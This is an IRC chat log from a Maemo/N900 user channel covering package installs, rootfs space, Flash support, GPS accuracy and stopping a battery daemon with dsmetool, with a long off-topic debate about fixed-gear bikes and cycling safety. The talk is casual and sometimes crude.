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| 09:10.06 | fipu | test |
| 09:10.26 | fipu | test |
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| 09:29.07 | SpeedEvil | has anyone gotten kexec working? |
| 09:29.32 | Stskeeps | on n900? |
| 09:29.35 | Stskeeps | there's patches for it |
| 09:30.52 | SpeedEvil | yes |
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| 09:31.11 | SpeedEvil | I was hoping for a walkthrough for the lazy. |
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| 09:33.24 | MohammadAG | frals, thanks for the gconftool-2 -s /apps/osso/inputmethod/ext_kb_repeat_enabled --type boolean true |
| 09:33.43 | frals | np ^^ |
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| 09:49.29 | pupnik | omfg.. # apt-get install phototranslator-alpha |
| 09:50.46 | MohammadAG | E: Handler Silently Failed? |
| 09:50.47 | SpeedEvil | E: Couldn't find package phototranslator-alpha |
| 09:51.01 | MohammadAG | oh |
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| 09:52.34 | pupnik | mine has this error phototranslator-alpha: Depends: libqt4-core (>= 4.6.2~git20100224-0maemo1+0m5) but 4.5.3~git20090723-0maemo6+0m5 is to be installed |
| 09:54.39 | MohammadAG | phototranslator-alpha: Depends: libqt4-script (>= 4.5.3~git20090723-0maemo4+0m5) but it is not going to be installed |
| 09:57.26 | yanu | can i install midnightcommander on the n900 ? with repository? |
| 09:57.48 | MohammadAG | yes you can, -devel, big warning signs |
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| 09:59.25 | yanu | hmm, not recommanded ... |
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| 09:59.57 | Psi | yeah, i install mc, worked fine |
| 10:00.07 | Shapeshifter | extras-devel ain't *that* dangerous. just don't mess with kernel related things and other "hackish-looking" stuff if you don't know what you're doing, and be aware that your rootfs might fill up. |
| 10:00.22 | Shapeshifter | Installing some app that has nothing to mess inside the system can hardly do any damage. |
| 10:01.11 | yanu | rootfs 227.9M 168.6M 55.1M available 75% / <- that could be a problem |
| 10:01.31 | Shapeshifter | yanu: wow, 55mb available. that is exceptionally much |
| 10:01.51 | Psi | be aware tho that some of the drop down mc menus dont fit on the screen and scroll off the bottom |
| 10:01.56 | Shapeshifter | well that's the case when you don't use extras-devel :) |
| 10:02.42 | Psi | yeah, 55mb is pretty normal |
| 10:02.48 | yanu | :) thx |
| 10:02.55 | Psi | mine seems to flux between 47 and 55mb |
| 10:03.16 | Shapeshifter | I'm down to 13mb and I'm struggling to get it up ;) |
| 10:03.31 | Psi | heh |
| 10:04.20 | Psi | i heard pr1.2 moves more stuff out of root so we might get more space after thats released |
| 10:04.36 | Psi | however, they might be moving it out so they can fill it up with other stuff :P |
| 10:05.08 | dottedmag | likes the /floppy dir from the ancient Debian |
| 10:05.14 | Psi | heh |
| 10:05.19 | yanu | when there is roam, it's meant to fill up ;) |
| 10:06.53 | Psi | i was looking for abiword a few hours ago and couldnt find it |
| 10:07.03 | Psi | has it been moved or renamed or something? |
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| 10:11.54 | RurouniJones | looks at the topic, mutters about pr1.2 then goes back to lurking |
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| 10:13.06 | SmokeyD | hey everyone, is it possible to get a full version of flash working on my N900/maemo 5 device in firefox or microB? |
| 10:13.26 | hemi770 | mine had flash out of the box |
| 10:13.29 | SpeedEvil | the version of flash is a full version |
| 10:13.35 | SpeedEvil | flash 9.? |
| 10:13.38 | hemi770 | 9.4 |
| 10:13.41 | Psi | i think he means in firefox |
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| 10:13.52 | SpeedEvil | 'or microb' |
| 10:13.56 | hemi770 | should already be in microB |
| 10:14.45 | SmokeyD | hmm, i have flash indeed in microb but it seems to be the lite verrsion I think |
| 10:15.11 | SmokeyD | a website just complained the lite version doesn't work |
| 10:16.05 | Psi | ive not had any flash issues with the standard maemo browser |
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| 10:18.00 | SmokeyD | Psi: business.ikea.com won't work here. |
| 10:18.01 | SpeedEvil | it's not lite |
| 10:18.06 | SpeedEvil | hit youtube, or ... |
| 10:18.12 | SpeedEvil | some sites now require flash 10 |
| 10:18.16 | SpeedEvil | which we don't have |
| 10:18.18 | Psi | ah |
| 10:18.25 | SpeedEvil | this is not however a flash lite issue |
| 10:18.43 | SpeedEvil | So a broken website that tries flash 10 -> flash lite won't work |
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| 10:19.53 | SmokeyD | SpeedEvil: ah, it is a flash 10 issue with ikea? ok. too bad |
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| 10:20.40 | SmokeyD | is there any info on fp10 for maemo/linux on ARM? |
| 10:21.27 | SpeedEvil | dunno |
| 10:21.38 | SpeedEvil | it's reportedly been 'testing' for some time |
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| 10:21.45 | SpeedEvil | if it'll come out is a different matter |
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| 10:24.00 | SmokeyD | ok. stupid ikea people that they don't have a non flash version. guess i'll go to another store :) |
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| 10:29.36 | yanu | thx, mc is running ! |
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| 10:31.04 | hemi770 | still wondering how to set static ARP entry on n900 if anyone knows |
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| 10:46.31 | SmokeyD | hemi770 isn't it possible with the arp command that is avillable on other linux distros? |
| 10:46.47 | hemi770 | i can't find an arp executable for it |
| 10:47.42 | SmokeyD | sorry, me neither :) should've lookes before answering. |
| 10:47.53 | hemi770 | seems like a pretty basic omission to me |
| 10:48.04 | hemi770 | esp since it could be compiled into busybox |
| 10:48.24 | SmokeyD | hmm, I actually never use it on my normal linux boxes |
| 10:48.36 | hemi770 | that's fine if you don't need it :) |
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| 10:48.38 | Surfa | arp entry |
| 10:48.39 | Surfa | ? |
| 10:48.41 | hemi770 | yeah |
| 10:48.43 | Surfa | you mean mac address? |
| 10:48.53 | Surfa | or arp table? |
| 10:48.56 | hemi770 | arp table |
| 10:49.01 | hemi770 | arp -s etc etc |
| 10:49.42 | SpeedEvil | easy - and silly way |
| 10:49.50 | SpeedEvil | Install easy-debian |
| 10:49.54 | SmokeyD | hemi770 would it be hard to combile using the sdk? haven't tried the sdk yet myself. |
| 10:49.55 | SpeedEvil | start it |
| 10:50.09 | SpeedEvil | copy off /.debian/usr/sbin/arp |
| 10:50.11 | hemi770 | installing sdk now |
| 10:50.13 | SpeedEvil | 'just works' |
| 10:50.19 | hemi770 | SpeedEvil: cool that sounds easy |
| 10:50.25 | hemi770 | thanks for the tip |
| 10:50.45 | hemi770 | i suppose pr1.2 will require a full reinstall of everything when it comes out? |
| 10:51.52 | Surfa | why? |
| 10:52.03 | Surfa | of course not |
| 10:52.15 | hemi770 | ok that sounds good |
| 10:52.32 | haltdef_ | will do one anyway |
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| 10:54.38 | SpeedEvil | hemi770: I'm unsure if something as silly as adding the debian libdirs to /etc/ld.so.conf - and running ldconfig - would let you run most stuff outside chroot |
| 10:54.41 | SpeedEvil | I suspect it would |
| 10:55.00 | SpeedEvil | (only the statically linked binaries, and ones with the same libs will noemally work |
| 10:55.22 | hemi770 | probably worth a try |
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| 10:57.58 | hemi770 | here comes easydebian |
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| 11:00.27 | frals | wouldnt the "easiest" be to get the .deb from debian arm and try if it works? |
| 11:00.43 | SpeedEvil | frals: possibly, yes |
| 11:00.56 | SpeedEvil | is lazy though. |
| 11:01.03 | hemi770 | i think i'll be wanting easy debian anyway |
| 11:01.05 | SpeedEvil | And I had easydebian installed. |
| 11:01.06 | hemi770 | but i'll check that out too |
| 11:01.13 | SpeedEvil | And after that, all you need is cp. |
| 11:01.41 | frals | http://www.techeye.net/internet/woman-says-3d-porno-made-her-pregnant :| |
| 11:02.14 | MohammadAG | LOL |
| 11:02.23 | SpeedEvil | plus - if - assuming it works - you simply add the libs to ldconfig - add the binary path to your path - then you have it 'just working' - with no problems of optification or / filling up |
| 11:04.12 | hemi770 | jeez it's a sweet little machine |
| 11:04.39 | hemi770 | was lying in bed piping tunes from the main collection to the ghettoblaster via FM last night |
| 11:04.42 | hemi770 | v cool |
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| 11:37.58 | namus | how do i uninstall QT SDK "qt-sdk-linux-x86-opensource-2009.05.bin" |
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| 11:57.48 | SmokeyD | hey everyone, i am getting dependency ptoblems with libqt4 not being available. could that be because I have extra-devel enabled? |
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| 12:01.16 | DocScrutinizer51 | Hooray, netsplit day |
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| 12:04.46 | TomaszD | there is something wrong with the gps logger widget |
| 12:04.56 | SpeedEvil | what? |
| 12:04.58 | SpeedEvil | works for me |
| 12:05.19 | TomaszD | yeah, it works, but the gpx file says my max cycling speed today was 111.92kph |
| 12:06.10 | sECuRE | congrats, thatâs faster than you are allowed to drive on some roads here :P |
| 12:06.15 | sECuRE | would get you to work quite fast |
| 12:06.18 | TomaszD | mapmytracks.com shows the correct track and everything, avg speed is plausible, but vmax is not possible |
| 12:06.32 | Stskeeps | maybe your new bike is just awesome |
| 12:06.50 | TomaszD | it is, but not that awesome |
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| 12:08.15 | SpeedEvil | TomaszD: Welcome to GPS. |
| 12:08.51 | TomaszD | well, my external gps with sportstracker on the e51 never showed bogus data, apart from idiotic elevation |
| 12:09.00 | SpeedEvil | http://wiki.openstreetmap.org/wiki/Accuracy |
| 12:09.04 | SpeedEvil | hmm. |
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| 12:09.17 | SpeedEvil | I probably need to add a section on speed to that page |
| 12:09.25 | SpeedEvil | Look at the start |
| 12:09.35 | TomaszD | I will try external bt gps tomorrow and see if that helps |
| 12:09.37 | SpeedEvil | Edit it, and cut off the start |
| 12:09.52 | SpeedEvil | or alternatively, look for where the error is |
| 12:10.50 | TomaszD | I think that the widget makes some rounding/averaging errors when it loses signal |
| 12:11.16 | Stskeeps | or it uses the cell id stuff |
| 12:11.32 | SpeedEvil | TomaszD: See the above page. |
| 12:11.34 | TomaszD | I disabled everything data-connection wise |
| 12:12.00 | SpeedEvil | TomaszD: Imagine what happens to the pink GPS trace when it tries to calculate accuracy |
| 12:12.19 | SpeedEvil | Were you carrying it with GPS antenna up? |
| 12:12.24 | SpeedEvil | That will help some |
| 12:12.36 | sECuRE | where is the gps antenna located? |
| 12:12.45 | TomaszD | the n900 was in my pocket, so I had no control over this |
| 12:13.00 | TomaszD | I will put the phone in the bike satchel next time |
| 12:13.02 | SpeedEvil | Sure you do |
| 12:13.20 | SpeedEvil | For most pockets, there is a couple of orientations - one more to the sky than the other |
| 12:13.34 | SpeedEvil | the GPS antenna is at the top, next to the powerbutton |
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| 12:13.48 | hemi770 | also if your pocket was swinging around... |
| 12:13.55 | TomaszD | it was :) |
| 12:14.25 | TomaszD | alright, I'll put the phone correctly in the satchel tomorrow and then compare with an external gps on Monday if weather allows |
| 12:17.19 | crashanddie | TomaszD: wow, that's a pretty good bike then :P |
| 12:17.30 | crashanddie | TomaszD: you sure you showed us the right picture? Sounds more like a motorbike :P |
| 12:17.45 | TomaszD | heh |
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| 12:18.42 | TomaszD | no worries, couple of phone calls, carrying the bike on steep hills, massive amount of red lights, shopping, and the avg speed is about 13km/h |
| 12:18.48 | TomaszD | so it's definitely a bike |
| 12:18.49 | TomaszD | :) |
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| 12:19.29 | crashanddie | you stop at red lights? |
| 12:19.39 | crashanddie | Dude, you're a cyclist, fuck those rules! |
| 12:19.54 | Stskeeps | in poland, if you don't respect red lights, you die |
| 12:19.55 | Stskeeps | :P |
| 12:20.01 | TomaszD | yes |
| 12:20.07 | satmd | believs that |
| 12:20.10 | crashanddie | Just hop on the pavement, switch to the pedestrian crossing, and you're good |
| 12:20.10 | satmd | +e |
| 12:20.27 | TomaszD | and you're as good as dead you meant |
| 12:20.35 | crashanddie | meh |
| 12:20.40 | crashanddie | plonkers :P |
| 12:20.50 | crashanddie | I'll teach you how to drive a bike :P |
| 12:21.15 | TomaszD | even if you respect red lights you simply cannot let your guard down for a second or you will die |
| 12:21.19 | TheVirtualVortex | in shanghai even if you respect the red lights, you are risking to die |
| 12:21.23 | TomaszD | I need to buy a helmet.. |
| 12:21.54 | TheVirtualVortex | cars don't care about bikes or pedestrian... |
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| 12:22.47 | sp3000 | just switch on the hops, cross over the pedestrian, and you're on the pavement? |
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| 12:23.13 | TomaszD | we actually have real bike paths, lots of them |
| 12:23.41 | TomaszD | I just did >30km only on bike paths |
| 12:24.17 | crashanddie | gents: http://www.youtube.com/watch?v=SzfjSSlQ-yc |
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| 12:25.33 | TomaszD | that would be incredibly retarded to do over here |
| 12:26.18 | crashanddie | it is incredibly retarded to do anywhere |
| 12:26.56 | TomaszD | yes, but these guys have an intact camera |
| 12:27.16 | TomaszD | you'd get crushed by a bus on the second intersection over here lol |
| 12:27.42 | chem|st | crashanddie: you still got the machine gun? |
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| 12:28.03 | crashanddie | aye |
| 12:28.12 | MohammadAG | can I have it? |
| 12:28.15 | crashanddie | gives hands the machine gun to chem|st |
| 12:28.21 | chem|st | crashanddie: http://talk.maemo.org/showthread.php?p=649250#post649250 |
| 12:28.47 | TomaszD | I think it's "safe" to do this in new york because the traffic is stationary in the video, while here cars are doing 80km/h+ on the main road |
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| 12:29.16 | DocScrutinizer | http://3.bp.blogspot.com/_YaAt2fURNNU/S30jNW9SimI/AAAAAAAAALs/riyEWoXWOKQ/s1600/Screenshot-20100214-173750.png |
| 12:29.51 | TomaszD | and still, all it takes is one idiot to swerve into you and you're dead, so I guess these guys just don't care, better do this on a bike than in a car I guess |
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| 12:30.28 | TomaszD | DocScrutinizer, :) |
| 12:30.34 | crashanddie | TomaszD: it's a world apart |
| 12:30.35 | chem|st | TomaszD: you can do that in any huger city over here |
| 12:30.50 | crashanddie | TomaszD: these guys do it in London, SF, NYC, Moscow, Tokyo, whereever |
| 12:30.51 | MohammadAG | DocScrutinizer, nice speed limits over there |
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| 12:32.15 | crashanddie | TomaszD: these guys take huge risks, but are also incredibly skilled. I'm not saying it's right, but there is a business for it, and they understand the risks very well |
| 12:32.19 | chem|st | well my father told me of on he saw doing it and then he passed him after 15 minutes the biker passed him at a hill...upway |
| 12:32.31 | crashanddie | TomaszD: not a day goes by that one of these guys doesn't lose his life against a car |
| 12:32.36 | adeus | that tmo link reminds me of a local thief that stole all the mile(km)stones off a road |
| 12:32.36 | TomaszD | I've found a map with bike paths, they're in red http://mapa.trojmiasto.pl/?dzial=rowery |
| 12:32.46 | adeus | big heavy stones |
| 12:32.57 | MohammadAG | switches connections |
| 12:33.28 | DocScrutinizer | MohammadAG: what's been your sophisticated way to reboot with dsme & bme stop? |
| 12:33.39 | chem|st | the wrong way part is nice |
| 12:34.00 | crashanddie | TomaszD: http://www.youtube.com/watch?v=iqTxNgEtL4I |
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| 12:34.10 | chem|st | adeus: lol |
| 12:34.10 | crashanddie | TomaszD: excellent documentary -- "Pedal" |
| 12:34.34 | TomaszD | crashanddie, well, you see, I don't think it's wrong to take risks with your own life, it's theirs, let'em die, but there are also pedestrians to consider |
| 12:34.57 | crashanddie | meh, yeah and no |
| 12:35.24 | crashanddie | TomaszD: look at that second video, he's probably one of the best couriers in NYC, and he's seriously careful around pedestrians |
| 12:35.45 | TomaszD | adrenaline junkies I understand, but many of those guys are just assholes, and don't tell me they aren't, when they jump out of a corner straight into your child on the pavement |
| 12:35.58 | TomaszD | then you'll tell me "meh" |
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| 12:36.29 | crashanddie | I've crashed quite a few times going fast in pedestrian areas of London |
| 12:36.47 | crashanddie | and I don't think I've ever met a fixie who'd rather run into someone than a wall |
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| 12:37.43 | TomaszD | fixies with no brakes are on a whole new level of retardedness of their own |
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| 12:38.10 | TomaszD | the so called "hipsters" like them |
| 12:38.34 | crashanddie | why? |
| 12:38.38 | DocScrutinizer | I suggest a hood over the eyes and then running random on highways |
| 12:38.48 | sifr | question: i am planning to get the n900 finally as i have managed to save up some money. My question is that are there different generations of model of the n900? |
| 12:38.59 | TomaszD | I'm not sure why they like them, because unnecessary danger is cool? |
| 12:39.14 | TomaszD | and lack of practicality is a huge coolness factor too |
| 12:39.31 | RurouniJones | sifr: not currently |
| 12:39.44 | sifr | The reason I ask is when I was surfing the nokia website a few months ago the price went down to about £438 in the uk. and they replensihed the stock and the price went up to 479 |
| 12:39.49 | crashanddie | TomaszD: That's because you've never driven one :) |
| 12:40.02 | crashanddie | TomaszD: fixies are seriously fun to ride, they require a whole new level of involvement |
| 12:40.06 | sifr | RurouniJones: I see thanks. |
| 12:40.25 | TomaszD | I had a bmx when I was young, but it had brakes, it was indeed fun, not very practical, but fun |
| 12:40.31 | crashanddie | TomaszD: and you still have brakes |
| 12:40.39 | ManoftheSea | sifr: possibly a conversion rate issue |
| 12:40.48 | crashanddie | TomaszD: you can lock up the rear wheel, and then hop the back |
| 12:40.49 | TomaszD | yeah, I'm talking about people who intentionally get rid of them |
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| 12:41.03 | crashanddie | TomaszD: nha, fixie = braking by not pedaling |
| 12:41.23 | sifr | ManoftheSea: no no, there was no conversion. it was £438 and then went upto £479 so I thought maybe they upgraded the boards or something |
| 12:41.35 | chem|st | TomaszD: its just weight you dont want... |
| 12:41.50 | chem|st | sifr: no |
| 12:41.51 | crashanddie | and reliability |
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| 12:42.15 | sifr | On a side note does anybody have or know of anyplace i can get a promo code? :) |
| 12:42.16 | TomaszD | wait, I confused bmx with fixies, fixies are even worse, you have to force the pedals to stop moving to lock up the wheel and totally loose control in a bend or in wet conditions right? |
| 12:42.17 | ManoftheSea | sifr, you're sure it's not the conversion from one currency to pounds? There aren't hardware versions |
| 12:42.21 | tybollt | crashanddie: you've a fixie then? |
| 12:42.23 | ManoftheSea | promo? |
| 12:42.28 | lbt | Just FYI : http://wiki.maemo.org/OpenSuse_Build_Service |
| 12:42.30 | tybollt | not sure - do I want a fixie? |
| 12:42.32 | TomaszD | *lose |
| 12:42.33 | sifr | ManoftheSea: 100% sure both quoted in pounds |
| 12:42.37 | chem|st | crashanddie: braking makes your rimes dirty ;) |
| 12:42.51 | crashanddie | tybollt: I have a fixie yeah, it's my cheap city bike |
| 12:42.54 | sifr | ManoftheSea: and this is directly from nokia's website too. |
| 12:42.55 | lbt | starts on the 'Setting up Fremantle' task... |
| 12:42.55 | ManoftheSea | sifr, but if pounds to dollars (or whatever they're built in) changed in that time... |
| 12:43.01 | crashanddie | no brakes means no cables, no gums, no free wheel, no moving mechanical parts |
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| 12:43.15 | crashanddie | it means once its setup, you can leave it in the sun, the rain, snow, salt, whatever, it'll never die |
| 12:43.17 | ManoftheSea | Because those numbers you quoted aren't nice round numbers. |
| 12:43.19 | sifr | ManoftheSea: oh oh, you mean that way. Right I see. hmm quite possible. |
| 12:43.37 | sifr | ManoftheSea: should've bought it then :) |
| 12:44.02 | ManoftheSea | are you sure you want a linux computer? |
| 12:44.08 | sifr | ManoftheSea: promotional code for discounts etc. |
| 12:44.09 | chem|st | sifr ManoftheSea: what a discussion? the price changed nearly hourly back in february. On nokia website it was about weekly. |
| 12:44.23 | crashanddie | TomaszD: yeah, there's no coasting on a fixie |
| 12:44.40 | sifr | ManoftheSea: ofcourse, I have everything else running some form of unix or linux at home |
| 12:45.01 | DocScrutinizer | I paid a friggin 600EUR to them, some 9 months ago ;-P |
| 12:45.02 | ManoftheSea | alright. I'm fine with it, I love mine. It's just a question that has to be asked. |
| 12:45.12 | chem|st | sifr: look for the cheapest retailer an gogogo |
| 12:45.17 | crashanddie | TomaszD: you just need to plan where you'll be stopping, you can slow down slowly by slowing down the number of revolutions of your pedals/legs, or you can completely lock up the back wheel (which doesn't make you lose more control than if you locked up the back wheel on a normal brake bike) |
| 12:45.30 | chem|st | DocScrutinizer: I paid 520 at amazone |
| 12:45.33 | chem|st | DocScrutinizer: I paid 520 at amazon |
| 12:45.46 | sifr | chem|st: thanks. will have a look. |
| 12:45.50 | TheVirtualVortex | lbt: setting up a local OBS? |
| 12:45.52 | crashanddie | TomaszD: then, by hopping the back wheel, you create a kind of "ABS" system, where you use the initial friction gripping to make your slowing more adequate |
| 12:46.16 | lbt | TheVirtualVortex: maemo.org and meego community OBS |
| 12:46.27 | chem|st | sifr: and dont buy used, they oc'ed already... |
| 12:46.33 | ManoftheSea | uh... why would you lock and ABS? |
| 12:46.43 | ManoftheSea | Static friction is better than kinetic friction |
| 12:46.47 | TheVirtualVortex | lbt: I see, sounds great |
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| 12:46.55 | ManoftheSea | Which is to say, when the wheel is just before lockup: better |
| 12:47.04 | lbt | :) need to see how it evolves |
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| 12:47.23 | TheVirtualVortex | lbt: I have packaged some games in OBS (for opensuse) |
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| 12:47.33 | TheVirtualVortex | lbt: so I'll be glad to do the same for maemo once it's ready |
| 12:47.39 | sifr | chem|st: hmm wasn't aware of that. Thanks. To be honest I did consider buying used but thought might as well go for new and pamper it. :D |
| 12:47.47 | TomaszD | crashanddie, there's too many variables in play when driving here to plan ahead in this way |
| 12:47.57 | TomaszD | *riding, not driving |
| 12:48.09 | tybollt | crashanddie: but it'll kill you if you're not used to it :) |
| 12:48.18 | crashanddie | tybollt: oh definitely |
| 12:48.19 | lbt | TheVirtualVortex: cool ... |
| 12:48.29 | TomaszD | and I don't lock up my rear wheel to brake, I use both brakes to just slow down |
| 12:48.30 | chem|st | tybollt: for sure |
| 12:48.42 | tybollt | crashanddie: Which is why I've - so far - stayed away from getting one... ;) |
| 12:49.04 | chem|st | TomaszD: I take on the front, back bracke is just for turning |
| 12:49.12 | crashanddie | tybollt: they're seriously fun to ride though, I mean, they're cheap as, you can probably get a frame + fixie gears for what, 60 quid? |
| 12:49.21 | crashanddie | you can convert any bike to be a fixie |
| 12:49.38 | DocScrutinizer | I guess the way those brakes I once seen worked, was the front wheel was indirectly braked by the force of the read wheel. So before you go 'yeeha' over the bike's steer, the the rear lifts and lessens front break this way |
| 12:49.40 | crashanddie | they will take the most absolute pain, too :P |
| 12:50.12 | DocScrutinizer | s/read/rear |
| 12:50.23 | crashanddie | DocScrutinizer: nha, fixie doesn't have any front wheel braking |
| 12:50.41 | crashanddie | locking up the front wheel will send you flying regardless if you've started braking the back wheel or not |
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| 12:51.15 | lbt | X-Fade: ping ... starting on http://wiki.maemo.org/OpenSuse_Build_Service/Fremantle_Setup ... looking at the backend_storage bit |
| 12:51.18 | tybollt | so. libdems + con or libdem + plaid cymru + SNP + lab? |
| 12:51.18 | DocScrutinizer | crashanddie: I was just baffled, when I heard 'ABS' and 'fixie'. That's the only 'ABS' type of bike brake I ever seen |
| 12:51.22 | chem|st | crashanddie: been ther done that... |
| 12:51.26 | tybollt | would've loved to see the latter |
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| 12:51.44 | TomaszD | I think there are abs disk brakes on bikes |
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| 12:51.53 | crashanddie | yeah, but useless |
| 12:51.58 | crashanddie | you have fingers, just bloody use them |
| 12:52.15 | crashanddie | if you can't tell when your wheels start skidding, you shouldn't be on a bike |
| 12:52.27 | DocScrutinizer | TomaszD: maybe on motorbikes |
| 12:52.29 | TomaszD | you're right, but it's good for beginners |
| 12:52.33 | crashanddie | no it's not |
| 12:52.36 | MohammadAG | apparently the app manager works quite well in portrait mode |
| 12:52.58 | DocScrutinizer | MohammadAG: lazy dog!! |
| 12:53.02 | crashanddie | giving beginners too much help is always a bad decision: it means that instead of having a straight learning curve, they have 3 or 4 new curves that change all the time |
| 12:53.04 | TomaszD | you'd want abs on the front wheel, I'd like that :) |
| 12:53.14 | DocScrutinizer | [2010-05-08 14:33:27] <DocScrutinizer> MohammadAG: what's been your sophisticated way to reboot with dsme & bme stop? |
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| 12:53.24 | crashanddie | TomaszD: it's like those pussies who want to do competition paintball, and have full body armour |
| 12:53.38 | crashanddie | "Yeah yeah, I'll take it off once I feel ready for it" |
| 12:53.48 | MohammadAG | DocScrutinizer, ? it reboots immediately when using dsmetool |
| 12:54.02 | DocScrutinizer | what's been the exact cmdline? |
| 12:54.31 | crashanddie | few things: your rear wheel brake should always be controlled by your non-main hand (if you're right handed, your left hand should control the rear brake, and vice versa) |
| 12:54.32 | TomaszD | you know, I had similar attitude to you, but everyone has their level of commitment and I started respecting it, so if someone want abs on their bike, let them have it, if someone uses full body armor, let them be |
| 12:54.40 | TomaszD | *wants |
| 12:54.54 | crashanddie | TomaszD: not if they want to be on my team ;) |
| 12:55.22 | TomaszD | crashanddie, I have the opposite setting on my bike, why? |
| 12:55.42 | tybollt | bikes have ABS now? |
| 12:55.43 | tybollt | what the hell |
| 12:55.47 | tybollt | that's crazy :) |
| 12:55.58 | DocScrutinizer | crashanddie: :-D that's exactly the only mod I did to my mountainbike |
| 12:56.02 | Milo- | anyone know if the source code for n900's chess-game are open source? and where would I find them? |
| 12:56.10 | crashanddie | TomaszD: because when you need to do something else (phone, drink, gps), you'll do it with your right hand, if you need to brake suddenly, you don't want your "clumsy" hand to pull like a madman on your front brake :P |
| 12:56.27 | tybollt | crashanddie++ |
| 12:56.48 | TomaszD | tybollt, nah it's actually cool, especially in winter I think it would be useful, a patch of ice when riding in snowy conditions is never cool |
| 12:56.50 | tybollt | I know from experience since I've dived over the front bar right into dirt |
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| 12:57.07 | tybollt | no serious injuries just it hurt like fucking hell |
| 12:57.13 | TomaszD | crashanddie, I'm rather ambidexterous when it comes to that so I don't care |
| 12:57.16 | tybollt | I had burns everywhere |
| 12:57.37 | tybollt | TomaszD: you're not supposed to be biking in the winter |
| 12:57.53 | TomaszD | crashanddie, so where do you draw the line when it comes to safety equipment, if no abs, then maybe no helmets too? |
| 12:57.53 | crashanddie | TomaszD: I'd rather make that a rule across the world, when someone buys a bike "right handed or left handed", and just switch the brake cables. It's no work at all, and can literally save lives |
| 12:57.54 | tybollt | (unless you enjoy broken bones) |
| 12:57.57 | MohammadAG | DocScrutinizer, dsmetool -t bme_RX-51 |
| 12:58.07 | MohammadAG | waits for DocScrutinizer51 to timeout |
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| 12:58.10 | crashanddie | TomaszD: oh no, definitely helmets |
| 12:58.15 | DocScrutinizer | MohammadAG: thanks :-D |
| 12:58.26 | crashanddie | TomaszD: I mean, if you want ABS, go for it, but make sure you also know how to brake properly without it |
| 12:58.32 | TomaszD | crashanddie, so helmets are cool, but no abs when you get into a sketchy situation |
| 12:58.37 | DocScrutinizer | MohammadAG: I asked to NOT timeout |
| 12:58.40 | TomaszD | alright.. |
| 12:58.54 | crashanddie | TomaszD: technology should be used to make things easier, not to make things dumber or fool-proof |
| 12:59.08 | MohammadAG | DocScrutinizer, you'll quit when you type that command :) |
| 12:59.17 | TomaszD | crashanddie, I will agree with you that e.g. automatic gearbox on a car makes me a worse driver |
| 12:59.27 | TomaszD | I pay less attention |
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| 12:59.51 | DocScrutinizer | that's why I asked. It will get ignored in my further tests |
| 12:59.55 | johnsq | Hi |
| 12:59.56 | crashanddie | plus, ABS and all that crap is going to go bad (look at the accelerator mess for Toyota). It may sound stupid, but when it comes to my safety on a bike, where basically there is nothing between me sitting on it, and me skidding across the pavement, I want there to be as little points of failures as possible |
| 13:00.14 | TomaszD | true, that is a concern. |
| 13:00.20 | MohammadAG | DocScrutinizer, no idea why it immediately reboots it though |
| 13:00.20 | DocScrutinizer | MohammadAG: you're sure you used '-t' ?? o.O |
| 13:00.22 | crashanddie | how heavy is it? How reliable is it? How much maintenance is there? |
| 13:00.31 | MohammadAG | DocScrutinizer, yeah, why? |
| 13:00.34 | crashanddie | Most people never do any maintenance on their bike, and it just makes it more dangerous |
| 13:01.13 | TomaszD | whoa |
| 13:01.13 | DocScrutinizer | <PROTECTED> |
| 13:01.13 | satmd | it always splits the others :p |
| 13:01.13 | MohammadAG | o.O |
| 13:01.13 | DocScrutinizer | -k --stop=<cmd> Stop a process started with cmd |
| 13:01.18 | MohammadAG | sec, if I reboot i did a -t |
| 13:01.20 | DocScrutinizer | THAT'S why I asked :-P |
| 13:01.57 | crashanddie | wonders if we should create a #maemo-ot channel |
| 13:02.04 | TomaszD | crashanddie, I guess failsafes should be built-in, but I know for a fact that dirty/faulty abs sensors can be dangerous in certain situations |
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| 13:02.13 | satmd | great, lets move all the netsplits there ;D |
| 13:02.29 | DocScrutinizer | crashanddie: so mohammad and me could move over there? ;-P |
| 13:02.56 | DocScrutinizer | seems mohammad already did X-P |
| 13:03.02 | TomaszD | I think there is a pattern for geeks and technology lovers, they do love their bikes, every bigger community has their ardent bike advocates |
| 13:03.40 | crashanddie | It's an excellent way to stay in shape |
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| 13:03.57 | MohammadAG | unncessary reboot... |
| 13:03.57 | crashanddie | nearly everyone on the planet knows how to ride a bike, nearly everyone on the planet can go out and ride a bike |
| 13:04.07 | MohammadAG | DocScrutinizer, -t reboots the device |
| 13:04.18 | crashanddie | it's cheap (if you need it to be), and it gets you to know the area you live in |
| 13:04.19 | DocScrutinizer | I bet it does |
| 13:04.31 | frals | Total: 200182 downloads \o/ |
| 13:05.04 | hemi770 | sydney sucks for bikes |
| 13:05.08 | crashanddie | satmd: /ignore -channels * JOINS PARTS QUITS NICKS |
| 13:05.09 | MohammadAG | wonders if frals would like that number as karma |
| 13:05.09 | hemi770 | i prefer amsterdam, but what can ya do |
| 13:05.13 | DocScrutinizer | MohammadAG: you're trying to start a second BME instance, which definitely must fail. And you ask dsme to rebot when the started process ends |
| 13:05.19 | TomaszD | crashanddie, http://imgur.com/gGVZZ.jpg pic from today |
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| 13:05.32 | crashanddie | nice |
| 13:05.45 | crashanddie | what camera is that, how come you're shooting in 1:1? |
| 13:05.53 | MohammadAG | I noticed that I f'd up... |
| 13:05.58 | MohammadAG | DocScrutinizer, -k coming up |
| 13:06.03 | TomaszD | I... I've no idea |
| 13:06.05 | TomaszD | n900 |
| 13:06.13 | TomaszD | I just changed to landscape mode |
| 13:06.24 | DocScrutinizer | MohammadAG: err, what's 'coming up'? |
| 13:06.33 | MohammadAG | dsmetool -k |
| 13:06.36 | crashanddie | oh my bad, that's not 1:1 |
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| 13:07.01 | crashanddie | anyway, going to finish AC2 again, later |
| 13:07.02 | DocScrutinizer | MohammadAG: THAT is the part I need no dict for |
| 13:07.23 | DocScrutinizer | MohammadAG: it's 'coming up' I don't get |
| 13:07.38 | DocScrutinizer | MohammadAG: please rephrase |
| 13:07.39 | MohammadAG | err, doing the cmd... |
| 13:07.45 | DocScrutinizer | aaah |
| 13:07.50 | MohammadAG | ^ |
| 13:08.04 | TomaszD | frals, damn you, mine is only 145k :P |
| 13:08.05 | MohammadAG | bah |
| 13:08.10 | MohammadAG | Process not killed: not found, not root or kill failed |
| 13:08.20 | DocScrutinizer | not root |
| 13:08.27 | DocScrutinizer | sounds reasonable |
| 13:08.43 | MohammadAG | i am root |
| 13:08.43 | crashanddie | what are you guys trying to do? |
| 13:08.54 | DocScrutinizer | stop b,e_rx-51 |
| 13:09.00 | DocScrutinizer | bme even |
| 13:09.02 | MohammadAG | s/,/m |
| 13:09.07 | crashanddie | what's wrong with kill -9? |
